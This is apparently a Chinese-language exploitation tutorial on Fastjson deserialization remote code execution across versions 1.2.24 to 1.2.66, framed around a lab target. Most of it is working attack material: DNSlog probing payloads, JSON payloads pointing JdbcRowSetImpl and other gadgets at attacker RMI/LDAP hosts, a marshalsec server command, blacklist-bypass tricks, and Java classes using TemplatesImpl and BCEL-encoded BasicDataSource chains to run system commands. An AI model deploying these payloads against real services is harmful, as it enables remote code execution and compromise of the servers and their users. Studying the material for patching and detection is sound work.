Fastjson 1.2.24-RCE(CVE-2017-18349)
前置知识
Fastjson
阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。
举个例子:
public class User {
private String name;
private int age;
// getter / setter
}
序列化后:
{
"name": "Tom",
"age": 20
}
指纹特征
- 根据返回包判断:抓个包,提交方式改为POST,输入错入的json格式(花括号不闭合等),返回体里面出现fastjson字样。(可以屏蔽)
- 利用DNSlog盲打:构造以下payload,利用sdnslog平台接收
1.2.67版本后payload
{"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.Inet6Address","val":"dnslog"} 畸形:{"@type":"java.net.InetSocketAddress"{"address":,"val":"这里是dnslog"}} POST / HTTP/1.1 Host: 192.168.72.128:8090 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/json Content-Length: 71 {"tthhh6868":{"@type":"java.net.Inet4Address","val":"pesy0e.dnslog.cn"}}
java站并且传的数据是JSON格式的都可以尝试
AutoType
fastjson在序列化的过程中没有使用java自带的序列化机制,而是自定义了一套机制
Java 自带的序列化方式是把对象变成字节流(可以写入文件、网络传输),但这种方式不灵活、数据结构不透明。
Fastjson 用的是自己定义的一套序列化机制,更轻量、更易读。
对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:
- 基于属性:直接拿到类的字段,通过反射读取
- 基于setter/getter:通过调用 getXxx() 方法获取值
不同框架的做法:
框架 | 方式 | 说明 |
---|---|---|
Fastjson | 基于 getter | 会遍历类中的所有 getXxx() 方法来获取值 |
Jackson | 也基于 getter | 同 Fastjson |
Gson | 基于属性 | 直接读取字段,而不是通过 get 方法 |
Fastjson 的类型擦除问题
假设有个接口:
public interface Animal {
void eat();
}
public class Dog implements Animal {
private String name;
// getter/setter
}
当你序列化一个 Dog
对象成 JSON 时,Fastjson 默认只保留 Animal
接口类型的信息,原始类型(Dog
)就“抹去了”。
这样在反序列化的时候,Fastjson 就不知道该用哪个具体类去还原,就还原失败了。
引出 autoType 的必要性
为了解决这个问题,Fastjson 提供了一个配置项:
SerializerFeature.WriteClassName
这个选项开启后,Fastjson 会在序列化的时候自动加入 @type
字段,标注对象的原始类型。
{
"@type": "com.example.Dog",
"name": "旺财"
}
这样反序列化时,Fastjson 就能根据 @type
指定的类名,创建出正确的 Dog
对象。
autoType 带来的安全问题
问题来了!
攻击者可以伪造 JSON 字符串,在里面写上任意的 @type,让服务端创建一个攻击用的类。
JNDI注入
JNDI是 Java 命名与目录接口(Java Naming and Directory Interface),我们可以理解为JNDI提供了两个服务,即命名服务和目录服务。
- 命名服务:用来 给对象取名字,并通过名字访问对象 的一种机制。
- 目录服务:不仅可以通过名字查对象,还能查“对象的属性信息”
lookup( )函数
lookup()
方法的作用是:从远程服务中获取一个对象引用- 它的参数就是对象在远程服务中的“名字”(比如 RMI 注册表中的名称)
这本来是为企业服务准备的,比如找数据库、找服务对象等,但一旦这个参数被用户控制,就存在大风险。
RMI
RMI(Remote Method Invocation)远程方法调用,是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。
LDAP
LDAP
是轻型目录访问协议的缩写,是一种用于访问和维护分层目录信息的协议。
JdbcRowSetImpl 利用链
利用链核心类:com.sun.rowset.JdbcRowSetImpl
这是 JDK 自带的一个类,实现了 javax.sql.RowSet
接口,本意是为了远程数据库访问。
这个类有两个关键属性:
属性 | 对应 setter 方法 | 特殊点 |
---|---|---|
dataSourceName |
setDataSourceName(String) |
会被传给 lookup() |
autoCommit |
setAutoCommit(boolean) |
会触发 connect() ,间接触发 lookup() |
攻击流程图解
sql复制编辑1. 设置 @type 为 JdbcRowSetImpl
2. 设置 dataSourceName = "rmi://attacker.com:1099/Exploit"
↓
3. Fastjson 自动调用 setDataSourceName()
→ 内部存储这个 RMI 地址
4. 设置 autoCommit = true
↓
5. Fastjson 自动调用 setAutoCommit(true)
→ 内部调用 connect()
→ connect() 中调用 lookup(dataSourceName)
→ 触发 JNDI 请求:RMI 远程加载类
→ 远程服务器返回恶意类或序列化对象
→ 触发本地代码执行(RCE)
注意事项:
- 顺序要对:
dataSourceName
必须在autoCommit
之前,确保先设置完 lookup 所需地址,再调用 connect。
- rmi/ldap 地址尾部
/Exploit
是类名:lookup()
方法中会把这个字符串提取出来当作需要获取的类名或对象名(RMI Registry 中的名字)。
漏洞原理
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,autoType标注了类对应的原始类型,方便在反序列化的时候定位到具体类型,fastjson在对JSON字符串进行反序列化的时候,就会读取@type
到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链,造成远程代码执行。
因为有了autoType功能,那么fastjson在对JSON字符串进行反序列化的时候,就会读取@type
到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。那 么就可以利用这个特性,自己构造一个JSON字符串,并且使用@type
指定一个自己想要使用的攻击类库。
在fastjson中我们使用 JdbcRowSetImpl
进行反序列化的攻击,我们给此类中的setDataSourcesName
输入恶意内容(rmi链接),让目标服务在反序列化的时候,请求rmi服务器,执行rmi服务器下发的命令,从而导致远程命令执行漏洞
漏洞复现
- 启动靶场:运行靶场后,访问8090端口(默认),即可看到JSON格式输出
- 攻击准备环节:
- 构造恶意代码,并将其上传到攻击vps上,并编译
注意要使用java1.8版本,高版本的jdk 版本把远程调用修复了
- 利用 marshalsec 项目启动一个 RMI 服务器,监听 9999 端口,并指定加载远程类
xxx.class
:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http:// yourvps-ip.com/#xxx" 9999
- 构造恶意代码,并将其上传到攻击vps上,并编译
- 执行攻击环节:
向目标服务器发送包含RMI地址的payload
- 攻击成功
Fastjson 1.2.47-RCE(CNVD‐2019‐22238)
到了 1.2.47,Fastjson 加入了更严格的 AutoType 白名单机制,限制了某些类的直接反序列化。此时:
com.sun.rowset.JdbcRowSetImpl
不再在默认的 AutoType 白名单中。- 无法直接出现在根对象的
@type
字段中。 - 但!它仍然可以作为反射加载的“子类型”出现在非白名单类的属性中 —— 于是出现了 两级构造绕过方式。
漏洞原理
大致跟1.2.24版本一致,只是因为新增了白名单机制,所以payload需要采用“双阶段绕过”技巧,来进行执行攻击
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://xxx.com:9999/Exploit",
"autoCommit":true
}
}
这一组合能够成功绕过 AutoType
的限制,是因为:
- 在反序列化
"a"
时,Fastjson 将val
解析为Class
对象,相当于“热加载”了目标类;- Fastjson有个逻辑细节:
- 一旦某个类在运行时通过某种方式加载过(比如作为字段类型反射出来了),它就会“缓存”到类型映射里,之后再使用这个类时,不会再检查白名单!
- 这就是所谓的“热加载”绕过
- 这样
"b"
的反序列化就不会再触发 AutoType 阻止; JdbcRowSetImpl
的setDataSourceName()
会自动发起 JNDI 连接,导致 RCE。
a
部分:
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
}
- 用来提前加载目标类
JdbcRowSetImpl
。 - 有些版本 Fastjson 对不在白名单中的类,在你显式写成字符串 + 类型转换时,反而会允许加载(而非
@type
直写)。
b
部分:
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
...
}
- 实际构造目标对象。
JdbcRowSetImpl
是一个常见的 JNDI 注入入口,它在反序列化后会执行setDataSourceName()
,从而触发rmi://...
远程加载类。
漏洞复现
和1.2.24大致一样,故略
其余版本漏洞
第一个Fastjson反序列化漏洞爆出后,阿里在1.2.25版本设置了autoTypeSupport属性默认为false,并且增加了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单绕过来实现攻击利用的目的的。
fastjson<=1.2.41
com.sun.rowset.jdbcRowSetlmpl在1.2.25版本被加入了黑名单,fastjson有个判断条件判断类名是否以”L”开头、以”;”结尾,是的话就提取出其中的类名在加载进来,因此在原类名头部加L,尾部加;即可绕过黑名单的同时加载类。
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"rmi://xxx:9999/exploit",
"autoCommit":true
}
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
fastjson<=1.2.42
fastjson在1.2.42版本新增了校验机制。如果输入类名的开头和结尾是L和;就将头尾去掉再进行黑名单校验。绕过方法:在类名外部嵌套两层L和;。
原类名:com.sun.rowset.JdbcRowSetImpl
绕过:LLcom.sun.rowset.JdbcRowSetImpl;;
fastjson<=1.2.45
{ "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://localhost:1389/Exploit"
}
}
fastjson<=1.2.62
{
"@type":"org.apache.xbean.propertyeditor.JndiConverter",
"AsText":"rmi://x.x.x.x:9999/exploit"
}";
fastjson<=1.2.66
下面是多个exp:
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransacti
on":"ldap://192.168.80.1:1389/Calc"}}
Fastjson 不出网利用
利用前提
不出网,许多POC中利用JNDI远程加载外部类的方法就无法使用了,不出网的利用需要无需加载类或可通过类属性加载。
另一个前提就是获取命令的执行结果,可以将结果写入到web目录,访问该文件获取结果,但更优雅的方式是获取response,将结果从响应信息中输出。
攻击链
目前公开且较为通用的不出网利用链有两条:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
TemplatesImpl
利用链
TemplatesImpl
是 Java 内置的一个类,它在被调用 newTransformer()
方法时会自动加载 _bytecodes
字节码并执行构造函数中的恶意代码。
利用反射、getter、toString()
、hashCode()
等方法间接调用 newTransformer()
- 利用 JDK 内置的类:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
- 利用条件较高:需要开启
Feature.SupportNonPublicField
- 通常用来执行任意命令,如弹计算器(
cmd /c calc
)
BasicDataSource
利用链
BasicDataSource
是 Apache Commons DBCP(数据库连接池)中的一个类,用于配置数据库连接
只需要有dbcp
或tomcat-dbcp
的依赖即可,dbcp即数据库连接池,在java中用于管理数据库连接,是挺常见的。
- 利用类:
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
- 要求环境中存在 Tomcat 的 dbcp 库(即
tomcat-dbcp.jar
) - SpringBoot 默认不带该库,需要手动引入
- 对版本有要求:
- Tomcat 8.0 以前:
dbcp.BasicDataSource
- Tomcat 8.0 以后:
dbcp2.BasicDataSource
- Tomcat 8.0 以前:
具体操作
TemplatesImpl
利用链
这种情况实战中很少遇到,仅供参考。(前提:需要开启Feature.SupportNonPublicField)
Feature.SupportNonPublicField
是 Fastjson 中的一个配置项(Feature),中文理解就是:“支持反序列化非 public 修饰的字段”。
在默认情况下,Fastjson 只会反序列化 public
修饰的字段,而不会处理 private
、protected
或包级别的字段。但是某些 Java 类(比如反序列化利用中常用的 TemplatesImpl
)的关键字段都是 private 的,这时候,如果你不手动开启 SupportNonPublicField
,Fastjson 是不会给这些字段赋值的。
- 先写个poc:继承
AbstractTranslet
并在构造函数执行Runtime.getRuntime().exec(...)
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Calc extends AbstractTranslet { // 构造函数:在实例化时执行系统命令打开计算器 public Calc() throws IOException { Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"}); } // 覆盖 transform 方法(未实现具体逻辑) @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { // 空实现 } // 覆盖 transform 方法(未实现具体逻辑) @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { // 空实现 } // 主方法:创建 Calc 类的实例以触发构造函数中的命令执行 public static void main(String[] args) throws Exception { Calc t = new Calc(); } }
- 编译成class文件,并用python脚本转化为base64编码
- 构造payload
{ "a": { "@type": "java.lang.Class", "val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" }, "b": { "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": ["BASE64编码的class"], "_name": "x.y", "_tfactory": {}, "_outputProperties": {} } }
- “_bytecodes”:放入一个恶意类的字节码,并使用 Base64 编码,在这里放入字符串形式。Fastjson 反序列化时会自动将其转换为字节数组,然后在
newTransformer()
调用时加载执行 - “_name”:这个字段无特别含义,只是让类初始化不报错。必须存在,不然
TemplatesImpl
会抛异常。 - “_tfactory”:这个字段的类型是
TransformerFactory
,可以为空的对象,目的是为了让构造出来的对象合法(不抛NullPointerException
)。 - “_outputProperties”:和
_tfactory
一样,也是为了构造出一个“合法但带毒”的TemplatesImpl
实例。
- “_bytecodes”:放入一个恶意类的字节码,并使用 Base64 编码,在这里放入字符串形式。Fastjson 反序列化时会自动将其转换为字节数组,然后在
BasicDataSource
利用链
通过构造一个伪造的数据源对象,在其初始化或连接数据库时触发反射调用,实现恶意类加载,最终导致命令执行。
- 准备poc
public class Poc { // 静态初始化块:类加载时执行命令 static { try { // 执行系统命令打开计算器 Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"}); } catch (Exception e) { // 异常处理(此处为空,可根据需要扩展) } } }
- 编译得到class文件,用jdk8u112生成BCEL编码
import com.sun.org.apache.bcel.internal.classfile.Utility; import java.nio.file.*; public class Gen { public static void main(String[] args) throws Exception { byte[] bytes = Files.readAllBytes(Paths.get("xxx.class")); String bcel = Utility.encode(bytes, true); System.out.println("$BCEL$" + bcel); } }
- 构造payload
{ "a": { "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$BCEL$...恶意类的BCEL编码..." } }
- 此时 fastjson 会:
- 实例化
BasicDataSource
- 赋值
driverClassLoader
为 BCEL 的 ClassLoader - 设置
driverClassName
为你的恶意类(BCEL 编码)
- 反序列化完还不会直接执行代码,必须触发连接池的初始化过程
BasicDataSource ds = (BasicDataSource) fastjson反序列化返回的对象; ds.getConnection(); // 触发漏洞
- 这个方法内部调用了
createDataSource()
,而这个过程会尝试加载并初始化 JDBC 驱动:Class.forName(driverClassName, true, driverClassLoader)
这句代码的效果是:
用你提供的
driverClassLoader
来加载driverClassName
- 当类名以
$$BCEL$$
开头时,com.sun.org.apache.bcel.internal.util.ClassLoader
会认为它是 BCEL 编码,会先解码出字节码、再 defineClass、然后加载这个类。
加载类 → 类被初始化 → 执行其中 static 代码块 或 构造函数:
回显方法
- 一种是直接将命令执行结果写入到静态资源文件里,如html、js等,然后通过http访问就可以直接看到结果。
- 通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了。
- 直接将命令执行结果回显到请求Poc的HTTP响应中。